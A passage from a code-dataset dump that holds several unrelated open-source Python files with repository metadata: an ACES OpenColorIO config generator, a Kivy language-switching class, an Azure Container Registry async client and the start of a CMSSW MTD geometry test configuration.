'TRANSFORM_FAMILY_SUBSTITUTION_PATTERNS', 'VIEW_TRANSFORM_NAME_SUBSTITUTION_PATTERNS', 'DISPLAY_NAME_SUBSTITUTION_PATTERNS', 'ColorspaceDescriptionStyle', 'beautify_name', 'beautify_colorspace_name', 'beautify_look_name', 'beautify_transform_family', 'beautify_view_transform_name', 'beautify_display_name', 'ctl_transform_to_colorspace_name', 'ctl_transform_to_look_name', 'ctl_transform_to_transform_family', 'ctl_transform_to_description', 'ctl_transform_to_colorspace', 'ctl_transform_to_look', 'create_builtin_transform', 'style_to_view_transform', 'style_to_display_colorspace', 'generate_config_aces' ] ACES_CONFIG_REFERENCE_MAPPING_FILE_PATH = ( Path(__file__).parents[0] / 'resources' / 'OpenColorIO-ACES-Config Transforms - Reference Config - Mapping.csv') ACES_CONFIG_REFERENCE_COLORSPACE = 'ACES2065-1' ACES_CONFIG_OUTPUT_ENCODING_COLORSPACE = 'OCES' ACES_CONFIG_COLORSPACE_NAME_SEPARATOR = ' - ' ACES_CONFIG_COLORSPACE_FAMILY_SEPARATOR = '/' ACES_CONFIG_BUILTIN_TRANSFORM_NAME_SEPARATOR = '_to_' ACES_CONFIG_DISPLAY_FAMILY = 'Display' COLORSPACE_NAME_SUBSTITUTION_PATTERNS = { 'ACES_0_1_1': 'ACES 0.1.1', 'ACES_0_2_2': 'ACES 0.2.2', 'ACES_0_7_1': 'ACES 0.7.1', '_7nits': '', '_15nits': '', '_': ' ', '-raw': '', '-': ' ', '\\b(\\w+)limited\\b': '(\\1 Limited)', '\\b(\\d+)nits\\b': '(\\1 nits)', 'RGBmonitor': 'sRGB', 'Rec709': 'Rec. 709', 'Rec2020': 'Rec. 2020', } COLORSPACE_NAME_SUBSTITUTION_PATTERNS.update({ (f'{ACES_CONFIG_COLORSPACE_FAMILY_SEPARATOR}Alexa' f'{ACES_CONFIG_COLORSPACE_FAMILY_SEPARATOR}v\\d+' f'{ACES_CONFIG_COLORSPACE_FAMILY_SEPARATOR}.*'): '', f'{ACES_CONFIG_COLORSPACE_FAMILY_SEPARATOR}': ACES_CONFIG_COLORSPACE_NAME_SEPARATOR, }) LOOK_NAME_SUBSTITUTION_PATTERNS = { 'BlueLightArtifactFix': 'Blue Light Artifact Fix' } TRANSFORM_FAMILY_SUBSTITUTION_PATTERNS = { '\\\\': ACES_CONFIG_COLORSPACE_FAMILY_SEPARATOR, 'vendorSupplied[/\\\\]': '', 'arri': 'ARRI', 'alexa': 'Alexa', 'canon': 'Canon', 'panasonic': 'Panasonic', 'red': 'RED', 'sony': 'Sony', } VIEW_TRANSFORM_NAME_SUBSTITUTION_PATTERNS = { '7.2nit': '&', '15nit': '&', 'lim': ' lim', 'nit': ' nits', 'sim': ' sim on', 'CINEMA': 'Cinema', 'VIDEO': 'Video', 'REC1886': 'Rec.1886', 'REC709': 'Rec.709', 'REC2020': 'Rec.2020', '-': ' ', } DISPLAY_NAME_SUBSTITUTION_PATTERNS = { 'G2.6-': '', '-BFD': '', 'REC.1886': 'Rec.1886', 'REC.709': 'Rec.709 Video', 'REC.2020': 'Rec.2020 Video', 'REC.2100': 'Rec.2100', '-Rec.': ' / Rec.', '-1000nit': '', 'dcdm': 'DCDM', 'p3': 'P3', 'rec709': 'Rec. 709', 'rec2020': 'Rec. 2020', } class ColorspaceDescriptionStyle(Flag): NONE = auto() ACES = auto() OPENCOLORIO = auto() SHORT = auto() LONG = auto() SHORT_UNION = ACES | OPENCOLORIO | SHORT LONG_UNION = ACES | OPENCOLORIO | LONG def beautify_name(name, patterns): for pattern, substitution in patterns.items(): name = re.sub(pattern, substitution, name) return name.strip() def beautify_colorspace_name(name): return beautify_name(name, COLORSPACE_NAME_SUBSTITUTION_PATTERNS) def beautify_look_name(name): return beautify_name(name, LOOK_NAME_SUBSTITUTION_PATTERNS) def beautify_transform_family(name): return beautify_name(name, TRANSFORM_FAMILY_SUBSTITUTION_PATTERNS) def beautify_view_transform_name(name): basename, version = name.split(ACES_CONFIG_COLORSPACE_NAME_SEPARATOR)[ -1].split('_') tokens = basename.split('-') family, genus = (['-'.join(tokens[:2]), '-'.join(tokens[2:])] if len(tokens) > 2 else [basename, None]) family = beautify_name(family, VIEW_TRANSFORM_NAME_SUBSTITUTION_PATTERNS) genus = (beautify_name(genus, VIEW_TRANSFORM_NAME_SUBSTITUTION_PATTERNS) if genus is not None else genus) return (f'Output - {family} ({genus}) - ACES {version}' if genus is not None else f'Output - {family} - ACES {version}') def beautify_display_name(name): basename = name.split(ACES_CONFIG_BUILTIN_TRANSFORM_NAME_SEPARATOR)[-1] name = beautify_name(basename, DISPLAY_NAME_SUBSTITUTION_PATTERNS) return f'Display - {name}' def ctl_transform_to_colorspace_name(ctl_transform): if ctl_transform.source in (ACES_CONFIG_REFERENCE_COLORSPACE, ACES_CONFIG_OUTPUT_ENCODING_COLORSPACE): name = ctl_transform.target else: name = ctl_transform.source return beautify_colorspace_name(name) def ctl_transform_to_look_name(ctl_transform): if ctl_transform.source in (ACES_CONFIG_REFERENCE_COLORSPACE, ACES_CONFIG_OUTPUT_ENCODING_COLORSPACE): name = ctl_transform.target else: name = ctl_transform.source return beautify_look_name(name) def ctl_transform_to_transform_family(ctl_transform, analytical=True): if analytical: if (ctl_transform.family == 'csc' and ctl_transform.namespace == 'Academy'): family = 'CSC' elif ctl_transform.family == 'input_transform': family = (f'Input{ACES_CONFIG_COLORSPACE_FAMILY_SEPARATOR}' f'{ctl_transform.genus}') elif ctl_transform.family == 'output_transform': family = 'Output' elif ctl_transform.family == 'lmt': family = 'LMT' else: if (ctl_transform.family == 'csc' and ctl_transform.namespace == 'Academy'): if re.match('ACES|ADX', ctl_transform.name): family = 'ACES' else: family = (f'Input{ACES_CONFIG_COLORSPACE_FAMILY_SEPARATOR}' f'{ctl_transform.genus}') elif ctl_transform.family == 'input_transform': family = (f'Input{ACES_CONFIG_COLORSPACE_FAMILY_SEPARATOR}' f'{ctl_transform.genus}') elif ctl_transform.family == 'output_transform': family = 'Output' elif ctl_transform.family == 'lmt': family = 'LMT' return beautify_transform_family(family) @required('OpenColorIO') def ctl_transform_to_description( ctl_transform, describe=ColorspaceDescriptionStyle.LONG_UNION, factory=colorspace_factory, **kwargs): import PyOpenColorIO as ocio description = None if describe != ColorspaceDescriptionStyle.NONE: description = [] if describe in (ColorspaceDescriptionStyle.OPENCOLORIO, ColorspaceDescriptionStyle.SHORT_UNION, ColorspaceDescriptionStyle.LONG_UNION): forward, inverse = ([ 'to_reference', 'from_reference', ] if factory is colorspace_factory else [ 'forward_transform', 'inverse_transform', ]) transforms = [ transform for transform in (kwargs.get(forward), kwargs.get(inverse)) if transform is not None ] transform = next(iter(transforms), None) if isinstance(transform, ocio.BuiltinTransform): description.append(transform.getDescription()) if describe in (ColorspaceDescriptionStyle.ACES, ColorspaceDescriptionStyle.ACES | ColorspaceDescriptionStyle.SHORT, ColorspaceDescriptionStyle.SHORT_UNION, ColorspaceDescriptionStyle.LONG_UNION): if len(description) > 0: description.append('') aces_transform_id = ( ctl_transform.aces_transform_id.aces_transform_id) if describe in (ColorspaceDescriptionStyle.ACES, ColorspaceDescriptionStyle.ACES | ColorspaceDescriptionStyle.SHORT, ColorspaceDescriptionStyle.SHORT_UNION): description.append(f'ACEStransformID: {aces_transform_id}') else: description.append('CTL Transform') description.append(f'{"=" * len(description[-1])}\n') description.append(f'{ctl_transform.description}\n') description.append(f'ACEStransformID: {aces_transform_id}') description = '\n'.join(description) return description def ctl_transform_to_colorspace(ctl_transform, describe=ColorspaceDescriptionStyle.LONG_UNION, analytical=True, **kwargs): name = ctl_transform_to_colorspace_name(ctl_transform) family = ctl_transform_to_transform_family(ctl_transform, analytical) description = ctl_transform_to_description(ctl_transform, describe, colorspace_factory, **kwargs) settings = { 'name': (f'{beautify_colorspace_name(family)}' f'{ACES_CONFIG_COLORSPACE_NAME_SEPARATOR}' f'{name}'), 'family': family, 'description': description, } settings.update(kwargs) colorspace = colorspace_factory(**settings) return colorspace def ctl_transform_to_look(ctl_transform, describe=ColorspaceDescriptionStyle.LONG_UNION, analytical=True, **kwargs): name = ctl_transform_to_look_name(ctl_transform) family = ctl_transform_to_transform_family(ctl_transform, analytical) description = ctl_transform_to_description(ctl_transform, describe, look_factory, **kwargs) settings = { 'name': (f'{beautify_colorspace_name(family)}' f'{ACES_CONFIG_COLORSPACE_NAME_SEPARATOR}' f'{name}'), 'description': description, } settings.update(kwargs) look = look_factory(**settings) return look @required('OpenColorIO') def create_builtin_transform(style): import PyOpenColorIO as ocio builtin_transform = ocio.BuiltinTransform() try: builtin_transform.setStyle(style) except ocio.Exception: logging.warning(f'{style} style is not defined, ' f'using a placeholder "FileTransform" instead!') builtin_transform = ocio.FileTransform() builtin_transform.setSrc(style) return builtin_transform @required('OpenColorIO') def style_to_view_transform(style, ctl_transforms, describe=ColorspaceDescriptionStyle.LONG_UNION): import PyOpenColorIO as ocio name = beautify_view_transform_name(style) builtin_transform = ocio.BuiltinTransform(style) description = None if describe != ColorspaceDescriptionStyle.NONE: description = [] if describe in (ColorspaceDescriptionStyle.OPENCOLORIO, ColorspaceDescriptionStyle.SHORT_UNION, ColorspaceDescriptionStyle.LONG_UNION): description.append(builtin_transform.getDescription()) if describe in (ColorspaceDescriptionStyle.ACES, ColorspaceDescriptionStyle.ACES | ColorspaceDescriptionStyle.SHORT, ColorspaceDescriptionStyle.SHORT_UNION, ColorspaceDescriptionStyle.LONG_UNION): aces_transform_ids, aces_descriptions = zip( *[(ctl_transform.aces_transform_id.aces_transform_id, ctl_transform.description) for ctl_transform in ctl_transforms]) if len(description) > 0: description.append('') if describe in (ColorspaceDescriptionStyle.ACES | ColorspaceDescriptionStyle.SHORT, ColorspaceDescriptionStyle.SHORT_UNION): description.extend([ f'ACEStransformID: {aces_transform_id}' for aces_transform_id in aces_transform_ids ]) else: description.append( f'CTL Transform' f'{"s" if len(aces_transform_ids) >= 2 else ""}') description.append(f'{"=" * len(description[-1])}\n') description.append(f'\n{"-" * 80}\n\n'.join([ (f'{aces_descriptions[i]}\n\n' f'ACEStransformID: {aces_transform_id}\n') for i, aces_transform_id in enumerate(aces_transform_ids) ])) description = '\n'.join(description) view_transform = view_transform_factory( name, from_reference=builtin_transform, description=description) return view_transform @required('OpenColorIO') def style_to_display_colorspace( style, describe=ColorspaceDescriptionStyle.OPENCOLORIO, **kwargs): import PyOpenColorIO as ocio kwargs.setdefault('family', ACES_CONFIG_DISPLAY_FAMILY) name = beautify_display_name(style) builtin_transform = ocio.BuiltinTransform(style) description = None if describe != ColorspaceDescriptionStyle.NONE: description = [] if describe in (ColorspaceDescriptionStyle.OPENCOLORIO, ColorspaceDescriptionStyle.SHORT_UNION, ColorspaceDescriptionStyle.LONG_UNION): description.append(builtin_transform.getDescription()) description = '\n'.join(description) settings = { 'name': name, 'family': ACES_CONFIG_DISPLAY_FAMILY, 'description': description, 'from_reference': builtin_transform, 'reference_space': ocio.REFERENCE_SPACE_DISPLAY, } settings.update(kwargs) colorspace = colorspace_factory(**settings) return colorspace @required('OpenColorIO') def generate_config_aces( config_name=None, validate=True, describe=ColorspaceDescriptionStyle.SHORT_UNION, config_mapping_file_path=ACES_CONFIG_REFERENCE_MAPPING_FILE_PATH, analytical=True, additional_data=False): import PyOpenColorIO as ocio ctl_transforms = unclassify_ctl_transforms( classify_aces_ctl_transforms(discover_aces_ctl_transforms())) builtin_transforms = [ builtin for builtin in ocio.BuiltinTransformRegistry() ] config_mapping = defaultdict(list) with open(config_mapping_file_path) as csv_file: dict_reader = csv.DictReader( csv_file, delimiter=',', fieldnames=[ 'ordering', 'aces_transform_id', 'builtin_transform_style', 'linked_display_colorspace_style', 'interface', 'encoding', 'categories', ]) next(dict_reader) for transform_data in dict_reader: style = transform_data['builtin_transform_style'] if style: assert (style in builtin_transforms), ( f'"{style}" "BuiltinTransform" style does not ' f'exist!') style = transform_data['linked_display_colorspace_style'] if style: assert (style in builtin_transforms), ( f'"{style}" "BuiltinTransform" style does not ' f'exist!') aces_transform_id = transform_data['aces_transform_id'] filtered_ctl_transforms = [ ctl_transform for ctl_transform in ctl_transforms if ctl_transform.aces_transform_id.aces_transform_id == aces_transform_id ] ctl_transform = next(iter(filtered_ctl_transforms), None) assert ctl_transform is not None, ( f'"aces-dev" has no transform with "{aces_transform_id}" ' f'ACEStransformID, please cross-check the ' f'"{config_mapping_file_path}" config mapping file and ' f'the "aces-dev" "CTL" transforms!') transform_data['ctl_transform'] = ctl_transform config_mapping[transform_data['builtin_transform_style']].append( transform_data) colorspaces = [] looks = [] displays, display_names = [], [] view_transforms, view_transform_names = [], [] shared_views = [] aces_family_prefix = 'CSC' if analytical else 'ACES' scene_reference_colorspace = colorspace_factory( f'{aces_family_prefix} - {ACES_CONFIG_REFERENCE_COLORSPACE}', 'ACES', description=( 'The "Academy Color Encoding System" reference colorspace.'), encoding='scene-linear') display_reference_colorspace = colorspace_factory( 'CIE-XYZ-D65', description='The "CIE XYZ (D65)" display connection colorspace.', reference_space=ocio.REFERENCE_SPACE_DISPLAY) raw_colorspace = colorspace_factory( 'Utility - Raw', 'Utility', description='The utility "Raw" colorspace.', is_data=True) colorspaces += [ scene_reference_colorspace, display_reference_colorspace, raw_colorspace, ] for style, transforms_data in config_mapping.items(): if transforms_data[0]['interface'] == 'ViewTransform': view_transform = style_to_view_transform(style, [ transform_data['ctl_transform'] for transform_data in transforms_data ], describe) view_transforms.append(view_transform) view_transform_name = view_transform.getName() view_transform_names.append(view_transform_name) for transform_data in transforms_data: display_style = transform_data[ 'linked_display_colorspace_style'] display = style_to_display_colorspace( display_style, encoding=transform_data.get('encoding'), categories=transform_data.get('categories')) display_name = display.getName() if display_name not in display_names: displays.append(display) display_names.append(display_name) shared_views.append({ 'display': display_name, 'view': view_transform_name, 'view_transform': view_transform_name, }) else: for transform_data in transforms_data: ctl_transform = transform_data['ctl_transform'] if transform_data['interface'] == 'Look': look = ctl_transform_to_look( ctl_transform, describe, analytical=analytical, forward_transform=create_builtin_transform(style), process_space=scene_reference_colorspace.getName(), ) looks.append(look) else: colorspace = ctl_transform_to_colorspace( ctl_transform, describe, analytical=analytical, to_reference=create_builtin_transform(style), encoding=transform_data.get('encoding'), categories=transform_data.get('categories')) colorspaces.append(colorspace) untonemapped_view_transform = view_transform_factory( 'Un-tone-mapped', from_reference=ocio.BuiltinTransform( 'UTILITY - ACES-AP0_to_CIE-XYZ-D65_BFD'), ) untonemapped_view_transform_name = untonemapped_view_transform.getName() for display in display_names: shared_views.append({ 'display': display, 'view': untonemapped_view_transform_name, 'view_transform': untonemapped_view_transform_name, }) data = ConfigData( description=( f'The "Academy Color Encoding System" (ACES) "Reference Config".' f'\n\n' f'This "OpenColorIO" config is a strict and quasi-analytical ' f'implementation of "aces-dev" and is designed as a reference for ' f'software developers. It is not a replacement for the previous ' f'"ACES" configs nor the "ACES Studio Config".' f'\n\n' f'Generated with "OpenColorIO-Config-ACES" {git_describe()} ' f'on the {datetime.now().strftime("%Y/%m/%d at %H:%M")}.'), roles={ ocio.ROLE_COLOR_TIMING: f'{aces_family_prefix} - ACEScct', ocio.ROLE_COMPOSITING_LOG: f'{aces_family_prefix} - ACEScct', ocio.ROLE_DATA: 'Utility - Raw', ocio.ROLE_DEFAULT: scene_reference_colorspace.getName(), ocio.ROLE_INTERCHANGE_DISPLAY: display_reference_colorspace.getName(), ocio.ROLE_INTERCHANGE_SCENE: scene_reference_colorspace.getName(), ocio.ROLE_REFERENCE: scene_reference_colorspace.getName(), ocio.ROLE_RENDERING: f'{aces_family_prefix} - ACEScg', ocio.ROLE_SCENE_LINEAR: f'{aces_family_prefix} - ACEScg', }, colorspaces=colorspaces + displays, looks=looks, view_transforms=view_transforms + [untonemapped_view_transform], shared_views=shared_views, views=shared_views + [{ 'display': display, 'view': 'Raw', 'colorspace': 'Utility - Raw' } for display in display_names], active_displays=display_names, active_views=view_transform_names + ['Raw'], file_rules=[{ 'name': 'Default', 'colorspace': scene_reference_colorspace.getName() }], inactive_colorspaces=['CIE-XYZ-D65'], default_view_transform=untonemapped_view_transform.getName(), profile_version=2) config = generate_config(data, config_name, validate) if additional_data: return config, data else: return config if __name__ == '__main__': import os import opencolorio_config_aces logging.basicConfig() logging.getLogger().setLevel(logging.INFO) build_directory = os.path.join(opencolorio_config_aces.__path__[0], '..', 'build') if not os.path.exists(build_directory): os.makedirs(build_directory) config, data = generate_config_aces( config_name=os.path.join(build_directory, 'config-aces-reference.ocio'), analytical=False, additional_data=True)

true

f710006f30293d1e950a819440eba24d7dbe294e

1,359

py

Python

src/kv_classes/lang.py

Mulugruntz/deep_3d_photo

e296343757b5715145d49f283732821ef7915472

[ "MIT" ]

7

2020-07-22T07:35:15.000Z

2021-12-29T13:46:31.000Z

src/kv_classes/lang.py

Mulugruntz/deep_3d_photo

e296343757b5715145d49f283732821ef7915472

[ "MIT" ]

2

2021-04-01T10:39:14.000Z

2021-12-29T14:06:04.000Z

src/kv_classes/lang.py

Mulugruntz/deep_3d_photo

e296343757b5715145d49f283732821ef7915472

[ "MIT" ]

null

from kivy.lang import Observable import gettext from constants import LOCALE_DIR class Lang(Observable): observers = [] lang = None def __init__(self, defaultlang, transalte=None): super(Lang, self).__init__() self.ugettext = None self.lang = defaultlang self._translate = transalte if transalte is not None else gettext.gettext self.switch_lang(self.lang) def __call__(self, text): return self._translate(text) def fbind(self, name, func, *largs, **kwargs): if name == "_": self.observers.append((func, largs, kwargs)) else: return super(Lang, self).fbind(name, func, *largs, **kwargs) def funbind(self, name, func, *largs, **kwargs): if name == "_": key = (func, largs, kwargs) if key in self.observers: self.observers.remove(key) else: return super(Lang, self).funbind(name, func, *largs, **kwargs) def switch_lang(self, lang): # get the right locales directory, and instanciate a gettext locales = gettext.translation('Deep3DPhoto', LOCALE_DIR, languages=[lang]) self.ugettext = locales.gettext # update all the kv rules attached to this text for func, largs, kwargs in self.observers: func(largs, None, None)

31.604651

82

0.617366

from kivy.lang import Observable import gettext from constants import LOCALE_DIR class Lang(Observable): observers = [] lang = None def __init__(self, defaultlang, transalte=None): super(Lang, self).__init__() self.ugettext = None self.lang = defaultlang self._translate = transalte if transalte is not None else gettext.gettext self.switch_lang(self.lang) def __call__(self, text): return self._translate(text) def fbind(self, name, func, *largs, **kwargs): if name == "_": self.observers.append((func, largs, kwargs)) else: return super(Lang, self).fbind(name, func, *largs, **kwargs) def funbind(self, name, func, *largs, **kwargs): if name == "_": key = (func, largs, kwargs) if key in self.observers: self.observers.remove(key) else: return super(Lang, self).funbind(name, func, *largs, **kwargs) def switch_lang(self, lang): locales = gettext.translation('Deep3DPhoto', LOCALE_DIR, languages=[lang]) self.ugettext = locales.gettext for func, largs, kwargs in self.observers: func(largs, None, None)

true

f710013e8fda200cf47f10c609828756146e2766

7,377

py

Python

sdk/containerregistry/azure-mgmt-containerregistry/azure/mgmt/containerregistry/v2020_11_01_preview/aio/_container_registry_management_client.py

rsdoherty/azure-sdk-for-python

6bba5326677468e6660845a703686327178bb7b1

[ "MIT" ]

2,728

2015-01-09T10:19:32.000Z

2022-03-31T14:50:33.000Z

sdk/containerregistry/azure-mgmt-containerregistry/azure/mgmt/containerregistry/v2020_11_01_preview/aio/_container_registry_management_client.py

rsdoherty/azure-sdk-for-python

6bba5326677468e6660845a703686327178bb7b1

[ "MIT" ]

17,773

2015-01-05T15:57:17.000Z

2022-03-31T23:50:25.000Z

sdk/containerregistry/azure-mgmt-containerregistry/azure/mgmt/containerregistry/v2020_11_01_preview/aio/_container_registry_management_client.py

rsdoherty/azure-sdk-for-python

6bba5326677468e6660845a703686327178bb7b1

[ "MIT" ]

1,916

2015-01-19T05:05:41.000Z

2022-03-31T19:36:44.000Z

# coding=utf-8 # -------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See License.txt in the project root for license information. # Code generated by Microsoft (R) AutoRest Code Generator. # Changes may cause incorrect behavior and will be lost if the code is regenerated. # -------------------------------------------------------------------------- from typing import Any, Optional, TYPE_CHECKING from azure.core.pipeline.transport import AsyncHttpResponse, HttpRequest from azure.mgmt.core import AsyncARMPipelineClient from msrest import Deserializer, Serializer if TYPE_CHECKING: # pylint: disable=unused-import,ungrouped-imports from azure.core.credentials_async import AsyncTokenCredential from ._configuration import ContainerRegistryManagementClientConfiguration from .operations import ConnectedRegistriesOperations from .operations import ExportPipelinesOperations from .operations import RegistriesOperations from .operations import ImportPipelinesOperations from .operations import Operations from .operations import PipelineRunsOperations from .operations import PrivateEndpointConnectionsOperations from .operations import ReplicationsOperations from .operations import ScopeMapsOperations from .operations import TokensOperations from .operations import WebhooksOperations from .. import models class ContainerRegistryManagementClient(object): """ContainerRegistryManagementClient. :ivar connected_registries: ConnectedRegistriesOperations operations :vartype connected_registries: azure.mgmt.containerregistry.v2020_11_01_preview.aio.operations.ConnectedRegistriesOperations :ivar export_pipelines: ExportPipelinesOperations operations :vartype export_pipelines: azure.mgmt.containerregistry.v2020_11_01_preview.aio.operations.ExportPipelinesOperations :ivar registries: RegistriesOperations operations :vartype registries: azure.mgmt.containerregistry.v2020_11_01_preview.aio.operations.RegistriesOperations :ivar import_pipelines: ImportPipelinesOperations operations :vartype import_pipelines: azure.mgmt.containerregistry.v2020_11_01_preview.aio.operations.ImportPipelinesOperations :ivar operations: Operations operations :vartype operations: azure.mgmt.containerregistry.v2020_11_01_preview.aio.operations.Operations :ivar pipeline_runs: PipelineRunsOperations operations :vartype pipeline_runs: azure.mgmt.containerregistry.v2020_11_01_preview.aio.operations.PipelineRunsOperations :ivar private_endpoint_connections: PrivateEndpointConnectionsOperations operations :vartype private_endpoint_connections: azure.mgmt.containerregistry.v2020_11_01_preview.aio.operations.PrivateEndpointConnectionsOperations :ivar replications: ReplicationsOperations operations :vartype replications: azure.mgmt.containerregistry.v2020_11_01_preview.aio.operations.ReplicationsOperations :ivar scope_maps: ScopeMapsOperations operations :vartype scope_maps: azure.mgmt.containerregistry.v2020_11_01_preview.aio.operations.ScopeMapsOperations :ivar tokens: TokensOperations operations :vartype tokens: azure.mgmt.containerregistry.v2020_11_01_preview.aio.operations.TokensOperations :ivar webhooks: WebhooksOperations operations :vartype webhooks: azure.mgmt.containerregistry.v2020_11_01_preview.aio.operations.WebhooksOperations :param credential: Credential needed for the client to connect to Azure. :type credential: ~azure.core.credentials_async.AsyncTokenCredential :param subscription_id: The Microsoft Azure subscription ID. :type subscription_id: str :param str base_url: Service URL :keyword int polling_interval: Default waiting time between two polls for LRO operations if no Retry-After header is present. """ def __init__( self, credential: "AsyncTokenCredential", subscription_id: str, base_url: Optional[str] = None, **kwargs: Any ) -> None: if not base_url: base_url = 'https://management.azure.com' self._config = ContainerRegistryManagementClientConfiguration(credential, subscription_id, **kwargs) self._client = AsyncARMPipelineClient(base_url=base_url, config=self._config, **kwargs) client_models = {k: v for k, v in models.__dict__.items() if isinstance(v, type)} self._serialize = Serializer(client_models) self._serialize.client_side_validation = False self._deserialize = Deserializer(client_models) self.connected_registries = ConnectedRegistriesOperations( self._client, self._config, self._serialize, self._deserialize) self.export_pipelines = ExportPipelinesOperations( self._client, self._config, self._serialize, self._deserialize) self.registries = RegistriesOperations( self._client, self._config, self._serialize, self._deserialize) self.import_pipelines = ImportPipelinesOperations( self._client, self._config, self._serialize, self._deserialize) self.operations = Operations( self._client, self._config, self._serialize, self._deserialize) self.pipeline_runs = PipelineRunsOperations( self._client, self._config, self._serialize, self._deserialize) self.private_endpoint_connections = PrivateEndpointConnectionsOperations( self._client, self._config, self._serialize, self._deserialize) self.replications = ReplicationsOperations( self._client, self._config, self._serialize, self._deserialize) self.scope_maps = ScopeMapsOperations( self._client, self._config, self._serialize, self._deserialize) self.tokens = TokensOperations( self._client, self._config, self._serialize, self._deserialize) self.webhooks = WebhooksOperations( self._client, self._config, self._serialize, self._deserialize) async def _send_request(self, http_request: HttpRequest, **kwargs: Any) -> AsyncHttpResponse: """Runs the network request through the client's chained policies. :param http_request: The network request you want to make. Required. :type http_request: ~azure.core.pipeline.transport.HttpRequest :keyword bool stream: Whether the response payload will be streamed. Defaults to True. :return: The response of your network call. Does not do error handling on your response. :rtype: ~azure.core.pipeline.transport.AsyncHttpResponse """ path_format_arguments = { 'subscriptionId': self._serialize.url("self._config.subscription_id", self._config.subscription_id, 'str'), } http_request.url = self._client.format_url(http_request.url, **path_format_arguments) stream = kwargs.pop("stream", True) pipeline_response = await self._client._pipeline.run(http_request, stream=stream, **kwargs) return pipeline_response.http_response async def close(self) -> None: await self._client.close() async def __aenter__(self) -> "ContainerRegistryManagementClient": await self._client.__aenter__() return self async def __aexit__(self, *exc_details) -> None: await self._client.__aexit__(*exc_details)

55.466165

143

0.755456

from typing import Any, Optional, TYPE_CHECKING from azure.core.pipeline.transport import AsyncHttpResponse, HttpRequest from azure.mgmt.core import AsyncARMPipelineClient from msrest import Deserializer, Serializer if TYPE_CHECKING: from azure.core.credentials_async import AsyncTokenCredential from ._configuration import ContainerRegistryManagementClientConfiguration from .operations import ConnectedRegistriesOperations from .operations import ExportPipelinesOperations from .operations import RegistriesOperations from .operations import ImportPipelinesOperations from .operations import Operations from .operations import PipelineRunsOperations from .operations import PrivateEndpointConnectionsOperations from .operations import ReplicationsOperations from .operations import ScopeMapsOperations from .operations import TokensOperations from .operations import WebhooksOperations from .. import models class ContainerRegistryManagementClient(object): def __init__( self, credential: "AsyncTokenCredential", subscription_id: str, base_url: Optional[str] = None, **kwargs: Any ) -> None: if not base_url: base_url = 'https://management.azure.com' self._config = ContainerRegistryManagementClientConfiguration(credential, subscription_id, **kwargs) self._client = AsyncARMPipelineClient(base_url=base_url, config=self._config, **kwargs) client_models = {k: v for k, v in models.__dict__.items() if isinstance(v, type)} self._serialize = Serializer(client_models) self._serialize.client_side_validation = False self._deserialize = Deserializer(client_models) self.connected_registries = ConnectedRegistriesOperations( self._client, self._config, self._serialize, self._deserialize) self.export_pipelines = ExportPipelinesOperations( self._client, self._config, self._serialize, self._deserialize) self.registries = RegistriesOperations( self._client, self._config, self._serialize, self._deserialize) self.import_pipelines = ImportPipelinesOperations( self._client, self._config, self._serialize, self._deserialize) self.operations = Operations( self._client, self._config, self._serialize, self._deserialize) self.pipeline_runs = PipelineRunsOperations( self._client, self._config, self._serialize, self._deserialize) self.private_endpoint_connections = PrivateEndpointConnectionsOperations( self._client, self._config, self._serialize, self._deserialize) self.replications = ReplicationsOperations( self._client, self._config, self._serialize, self._deserialize) self.scope_maps = ScopeMapsOperations( self._client, self._config, self._serialize, self._deserialize) self.tokens = TokensOperations( self._client, self._config, self._serialize, self._deserialize) self.webhooks = WebhooksOperations( self._client, self._config, self._serialize, self._deserialize) async def _send_request(self, http_request: HttpRequest, **kwargs: Any) -> AsyncHttpResponse: path_format_arguments = { 'subscriptionId': self._serialize.url("self._config.subscription_id", self._config.subscription_id, 'str'), } http_request.url = self._client.format_url(http_request.url, **path_format_arguments) stream = kwargs.pop("stream", True) pipeline_response = await self._client._pipeline.run(http_request, stream=stream, **kwargs) return pipeline_response.http_response async def close(self) -> None: await self._client.close() async def __aenter__(self) -> "ContainerRegistryManagementClient": await self._client.__aenter__() return self async def __aexit__(self, *exc_details) -> None: await self._client.__aexit__(*exc_details)

true

f71001c69e6b9033c61079b91a451817bc6a6ed7

3,311

py

Python

Geometry/MTDCommonData/test/testMTDinDD4hep.py

SWuchterl/cmssw

769b4a7ef81796579af7d626da6039dfa0347b8e

[ "Apache-2.0" ]

6

2017-09-08T14:12:56.000Z

2022-03-09T23:57:01.000Z

Geometry/MTDCommonData/test/testMTDinDD4hep.py

SWuchterl/cmssw

769b4a7ef81796579af7d626da6039dfa0347b8e

[ "Apache-2.0" ]

545

2017-09-19T17:10:19.000Z

2022-03-07T16:55:27.000Z

Geometry/MTDCommonData/test/testMTDinDD4hep.py

SWuchterl/cmssw

769b4a7ef81796579af7d626da6039dfa0347b8e

[ "Apache-2.0" ]

14

2017-10-04T09:47:21.000Z

2019-10-23T18:04:45.000Z

import FWCore.ParameterSet.Config as cms process = cms.Process("CompareGeometryTest") process.source = cms.Source("EmptySource") process.maxEvents = cms.untracked.PSet( input = cms.untracked.int32(1) ) process.MessageLogger = cms.Service( "MessageLogger", statistics = cms.untracked.vstring('cout'), categories = cms.untracked.vstring('MTDUnitTest', 'DD4hep_TestMTDIdealGeometry', 'DD4hep_TestMTDPath', 'DD4hep_TestMTDNumbering', 'DD4hep_TestMTDPosition'), cout = cms.untracked.PSet( threshold = cms.untracked.string('INFO'), INFO = cms.untracked.PSet( limit = cms.untracked.int32(0) ), DD4hep_TestMTDIdealGeometry = cms.untracked.PSet( limit = cms.untracked.int32(-1) ), DD4hep_TestMTDPath = cms.untracked.PSet( limit = cms.untracked.int32(-1) ), DD4hep_TestMTDNumbering = cms.untracked.PSet( limit = cms.untracked.int32(-1) ), DD4hep_TestMTDPosition = cms.untracked.PSet( limit = cms.untracked.int32(-1) ), noLineBreaks = cms.untracked.bool(True) ), mtdCommonDataDD4hep = cms.untracked.PSet( INFO = cms.untracked.PSet( limit = cms.untracked.int32(0) ), noLineBreaks = cms.untracked.bool(True), DEBUG = cms.untracked.PSet( limit = cms.untracked.int32(0) ), WARNING = cms.untracked.PSet( limit = cms.untracked.int32(0) ), ERROR = cms.untracked.PSet( limit = cms.untracked.int32(0) ), threshold = cms.untracked.string('INFO'), MTDUnitTest = cms.untracked.PSet( limit = cms.untracked.int32(-1) ), ), destinations = cms.untracked.vstring('cout', 'mtdCommonDataDD4hep') ) process.DDDetectorESProducer = cms.ESSource("DDDetectorESProducer", confGeomXMLFiles = cms.FileInPath('Geometry/MTDCommonData/data/dd4hep/cms-mtdD50-geometry.xml'), 